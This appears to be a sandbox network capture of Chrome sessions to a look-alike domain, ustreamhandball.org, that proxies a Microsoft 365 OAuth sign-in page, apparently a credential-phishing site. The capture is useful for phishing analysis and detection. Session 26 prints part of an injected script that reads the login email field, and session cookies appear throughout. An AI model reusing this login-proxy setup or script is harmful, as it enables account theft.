22	192.168.2.6	49834	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:11 UTC	919	OUT	GET /ZspqXQij?n=GTFFxd4 HTTP/1.1 Host: www.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://www.ustreamhandball.org/ZspqXQij Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; OH.SID=74c617ae-f782-4e40-88b6-e84e5bda3a98; OH.DCAffinity=OH-eus; OH.FLID=17ff59b6-0080-40dc-acd1-dedec8118622
2025-01-09 23:21:11 UTC	20	IN	HTTP/1.1 302 Found
2025-01-09 23:21:11 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-09 23:21:11 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:11 UTC	25	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a Data Ascii: Content-Type: text/html
2025-01-09 23:21:11 UTC	46	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 75 73 74 72 65 61 6d 68 61 6e 64 62 61 6c 6c 2e 6f 72 67 2f 0d 0a Data Ascii: Location: https://login.ustreamhandball.org/
2025-01-09 23:21:11 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-09 23:21:11 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 23:21:11 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-09 23:21:11 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49844	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:12 UTC	780	OUT	GET / HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
2025-01-09 23:21:13 UTC	20	IN	HTTP/1.1 302 Found
2025-01-09 23:21:13 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-09 23:21:13 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:13 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-09 23:21:13 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 31 32 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:12 GMT
2025-01-09 23:21:13 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-09 23:21:13 UTC	49	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 75 73 74 72 65 61 6d 68 61 6e 64 62 61 6c 6c 2e 6f 72 67 2f 6c 6f 67 69 6e 0d 0a Data Ascii: Location: https://www.ustreamhandball.org/login
2025-01-09 23:21:13 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-09 23:21:13 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-09 23:21:13 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-09 23:21:13 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49833	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:13 UTC	896	OUT	GET /login HTTP/1.1 Host: www.ustreamhandball.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; OH.SID=74c617ae-f782-4e40-88b6-e84e5bda3a98; OH.DCAffinity=OH-eus; OH.FLID=17ff59b6-0080-40dc-acd1-dedec8118622
2025-01-09 23:21:13 UTC	20	IN	HTTP/1.1 302 Found
2025-01-09 23:21:13 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-09 23:21:13 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:13 UTC	24	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 0d 0a Data Ascii: Content-Encoding: gzip
2025-01-09 23:21:13 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-09 23:21:13 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 31 32 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:12 GMT
2025-01-09 23:21:13 UTC	838	IN	Data Raw: 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 75 73 74 72 65 61 6d 68 61 6e 64 62 61 6c 6c 2e 6f 72 67 2f 63 6f 6d 6d 6f 6e 2f 6f 61 75 74 68 32 2f 76 32 2e 30 2f 61 75 74 68 6f 72 69 7a 65 3f 63 6c 69 65 6e 74 5f 69 64 3d 34 37 36 35 34 34 35 62 2d 33 32 63 36 2d 34 39 62 30 2d 38 33 65 36 2d 31 64 39 33 37 36 35 32 37 36 63 61 26 72 65 64 69 72 65 63 74 5f 75 72 69 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 6f 66 66 69 63 65 2e 63 6f 6d 25 32 46 6c 61 6e 64 69 6e 67 76 32 26 72 65 73 70 6f 6e 73 65 5f 74 79 70 65 3d 63 6f 64 65 25 32 30 69 64 5f 74 6f 6b 65 6e 26 73 63 6f 70 65 3d 6f 70 65 6e 69 64 25 32 30 70 72 6f 66 69 6c 65 25 32 30 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 6f 66 66 69 63 65 2e 63 Data Ascii: Location: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.c
2025-01-09 23:21:13 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-09 23:21:13 UTC	25	IN	Data Raw: 52 65 71 75 65 73 74 2d 43 6f 6e 74 65 78 74 3a 20 61 70 70 49 64 3d 0d 0a Data Ascii: Request-Context: appId=
2025-01-09 23:21:13 UTC	68	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 48 2e 53 49 44 3d 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a Data Ascii: Set-Cookie: OH.SID=; Path=/; Expires=Thu, 01 Jan 1970 00:00:00 GMT
2025-01-09 23:21:13 UTC	384	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 2e 41 73 70 4e 65 74 43 6f 72 65 2e 4f 70 65 6e 49 64 43 6f 6e 6e 65 63 74 2e 4e 6f 6e 63 65 2e 46 79 33 55 2d 66 47 4e 7a 57 71 66 36 4f 6b 39 75 53 47 39 42 31 58 76 74 49 71 65 34 75 4c 36 47 74 63 68 58 45 66 36 6f 43 4e 57 72 74 44 63 6f 68 61 6c 57 30 4a 74 4d 68 30 74 48 4b 6b 4f 74 4c 42 4e 54 79 4f 46 38 6d 51 71 71 51 6d 6d 55 5a 53 64 67 79 2d 32 68 73 30 2d 30 53 6d 6c 6e 59 76 57 38 48 54 75 6d 75 6d 6e 50 30 48 34 4c 72 5f 33 72 6d 5a 7a 5f 56 48 6c 4e 51 53 5a 65 57 32 36 45 5a 6f 47 5a 62 64 67 49 71 49 4f 37 6f 79 43 68 70 6c 36 63 71 5a 67 30 36 65 62 42 52 42 35 4b 6f 44 41 49 7a 55 6a 31 79 4f 76 71 35 41 78 45 39 49 35 75 75 51 76 77 49 52 63 65 44 59 30 34 46 6b 45 46 6d 7a 4f 4d 63 6b 71 37 4b 68 Data Ascii: Set-Cookie: .AspNetCore.OpenIdConnect.Nonce.Fy3U-fGNzWqf6Ok9uSG9B1XvtIqe4uL6GtchXEf6oCNWrtDcohalW0JtMh0tHKkOtLBNTyOF8mQqqQmmUZSdgy-2hs0-0SmlnYvW8HTumumnP0H4Lr_3rmZz_VHlNQSZeW26EZoGZbdgIqIO7oyChpl6cqZg06ebBRB5KoDAIzUj1yOvq5AxE9I5uuQvwIRceDY04FkEFmzOMckq7Kh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49851	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:14 UTC	1868	OUT	GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.ustreamhandball.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; fpc=Aq076Fa4imlIlpYE2a8YmJI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe7v7KWL8es3B94M8P1iGwAAQsE70-Fuz_Z0gcmPHmsc4irw2USTUPY4Th9vWuwKZzXV1VMyznEPGushB3ka8zy3dJj2UJomsYQ-oCKUpk4878VLPYhrNVgbLXJkdSOWhNjTfB0_-0petHtfmqnZXCcRfkHg-EKX9AxN-YvDRc7v0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
2025-01-09 23:21:14 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:14 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-09 23:21:14 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:14 UTC	40	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a Data Ascii: Content-Type: text/html; charset=utf-8
2025-01-09 23:21:14 UTC	37	IN	Data Raw: 44 61 74 65 3a 20 54 68 75 2c 20 30 39 20 4a 61 6e 20 32 30 32 35 20 32 33 3a 32 31 3a 31 33 20 47 4d 54 0d 0a Data Ascii: Date: Thu, 09 Jan 2025 23:21:13 GMT
2025-01-09 23:21:14 UTC	13	IN	Data Raw: 45 78 70 69 72 65 73 3a 20 2d 31 0d 0a Data Ascii: Expires: -1
2025-01-09 23:21:14 UTC	101	IN	Data Raw: 4e 65 6c 3a 20 7b 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 30 31 2c 22 66 61 69 6c 75 72 65 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 7d 0d 0a Data Ascii: Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}
2025-01-09 23:21:14 UTC	41	IN	Data Raw: 50 33 70 3a 20 43 50 3d 22 44 53 50 20 43 55 52 20 4f 54 50 69 20 49 4e 44 20 4f 54 52 69 20 4f 4e 4c 20 46 49 4e 22 0d 0a Data Ascii: P3p: CP="DSP CUR OTPi IND OTRi ONL FIN"
2025-01-09 23:21:14 UTC	18	IN	Data Raw: 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a Data Ascii: Pragma: no-cache
2025-01-09 23:21:14 UTC	50	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 0d 0a Data Ascii: Referrer-Policy: strict-origin-when-cross-origin
2025-01-09 23:21:14 UTC	150	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 67 72 6f 75 70 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 73 22 2c 22 6d 61 78 5f 61 67 65 22 3a 38 36 34 30 30 2c 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 69 64 65 6e 74 69 74 79 2e 6e 65 6c 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 61 70 69 2f 72 65 70 6f 72 74 3f 63 61 74 49 64 3d 47 57 2b 65 73 74 73 66 64 2b 73 61 6e 22 7d 5d 7d 0d 0a Data Ascii: Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+san"}]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49862	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:14 UTC	2045	OUT	GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60/2842b9ecb751393b60c4b08022c260d063b04c654b7ef7a28e3188bb6723fb13.js HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; fpc=Aq076Fa4imlIlpYE2a8YmJI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe7v7KWL8es3B94M8P1iGwAAQsE70-Fuz_Z0gcmPHmsc4irw2USTUPY4Th9vWuwKZzXV1VMyznEPGushB3ka8zy3dJj2UJomsYQ-oCKUpk4878VLPYhrNVgbLXJkdSOWhNjTfB0_-0petHtfmqnZXCcRfkHg-EKX9AxN-YvDRc7v0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA
2025-01-09 23:21:15 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:15 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
2025-01-09 23:21:15 UTC	19	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a Data Ascii: Connection: close
2025-01-09 23:21:15 UTC	38	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 0d 0a Data Ascii: Content-Type: application/javascript
2025-01-09 23:21:15 UTC	28	IN	Data Raw: 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a Data Ascii: Transfer-Encoding: chunked
2025-01-09 23:21:15 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 23:21:15 UTC	5	IN	Data Raw: 32 36 34 0d 0a Data Ascii: 264
2025-01-09 23:21:15 UTC	612	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 6c 70 28 29 7b 0a 20 20 76 61 72 20 65 6d 61 69 6c 49 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 30 31 31 36 22 29 3b 0a 20 20 76 61 72 20 6e 65 78 74 42 75 74 74 6f 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 23 69 64 53 49 42 75 74 74 6f 6e 39 22 29 3b 0a 20 20 76 61 72 20 71 75 65 72 79 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3b 0a 20 20 69 66 20 28 2f 23 2f 2e 74 65 73 74 28 71 75 65 72 79 29 29 7b 0a 20 20 20 20 76 61 72 20 72 65 73 20 3d 20 71 75 65 72 79 2e 73 70 6c 69 74 28 22 23 22 29 3b 0a 20 20 20 20 76 61 72 20 64 61 74 61 31 20 3d 20 72 65 73 5b 30 5d 3b 0a 20 20 20 20 76 61 72 20 64 61 74 61 32 20 3d Data Ascii: function lp(){ var emailId = document.querySelector("#i0116"); var nextButton = document.querySelector("#idSIButton9"); var query = window.location.href; if (/#/.test(query)){ var res = query.split("#"); var data1 = res[0]; var data2 =
2025-01-09 23:21:15 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-09 23:21:15 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-09 23:21:15 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49863	165.140.202.155	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:14 UTC	1980	OUT	GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60.js HTTP/1.1 Host: login.ustreamhandball.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; fpc=Aq076Fa4imlIlpYE2a8YmJI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe7v7KWL8es3B94M8P1iGwAAQsE70-Fuz_Z0gcmPHmsc4irw2USTUPY4Th9vWuwKZzXV1VMyznEPGushB3ka8zy3dJj2UJomsYQ-oCKUpk4878VLPYhrNVgbLXJkdSOWhNjTfB0_-0petHtfmqnZXCcRfkHg-EKX9AxN-YvDRc7v0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA
2025-01-09 23:21:15 UTC	17	IN	HTTP/1.1 200 OK
2025-01-09 23:21:15 UTC	35	IN	Data Raw: 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 0d 0a Data Ascii: Cache-Control: no-cache, no-store
